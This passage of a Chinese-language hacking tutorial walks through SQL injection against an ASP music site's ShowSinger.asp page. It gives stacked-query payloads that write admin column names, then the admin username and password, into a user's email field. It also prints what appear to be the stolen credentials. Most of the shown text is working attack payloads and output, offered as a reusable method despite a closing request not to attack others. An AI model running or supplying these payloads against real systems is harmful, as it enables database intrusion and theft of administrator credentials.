SQL Injection这个话题越来越热了,很多的论坛和hack站点都或多或少地在谈论这个问题,当然也有很多革命前辈写了N多的关于这方面的文章,所利用的也是许多知名的程序
得到第1个字段为:id
http://******/ShowSinger.asp?
Classid=34&SClassid=35;update
[user] set email=(select top 1 col_name(object_id(admin),2)
from admin) where id=103534;-- |
得到第2个字段为:username
http://******/ShowSinger.asp?
Classid=34&SClassid=35;update
[user] set email=(select top 1 col_name(object_id(admin),3)
from admin) where id=103534;-- |
得到第2个字段为:password
到此,管理员列表的3个关键字段已经给我们拿到,接下来要拿用户名和密码就比较省力了,首先拿管理员的id值,这个比较简单,我就不再详细说了。
我们拿到的id值是44
http://******/ShowSinger.asp?
Classid=34&SClassid=35;update
[user] set email=(select top 1 username from admin
where id=44) where id=103534;-- |
将该管理员的用户名更新到email项 ,拿到的username为:gscdjmp3
http://******/ShowSinger.asp?
Classid=34&SClassid=35;update
[user] set email=(select top 1 password from admin
where id=44) where id=103534;-- |
将该管理员的密码更新到email项,拿到的password为:XZDC9212CDJ
怎么样,拿到密码了吧?
四、总结
在我们对一个不知道原代码的有SQL Iinjection漏洞的程序进行注入的时候,往往很难猜到作者设置的数据库结构,只能通过编写程序时的经验来猜几个比较常用的表和字段,这样给注入带来了很多的麻烦,会因为猜不到结构而放弃,这时候大家不妨试试这个方法,或许对你有所帮助,这里我们通过更新我们的一个注册用户的信息来拿到结果,如果是新闻系统的话,可以通过更新到某个新闻的title来拿结果。最后,值得提出的是,请大家不要拿该方法去恶意攻击其他的程序,谢谢!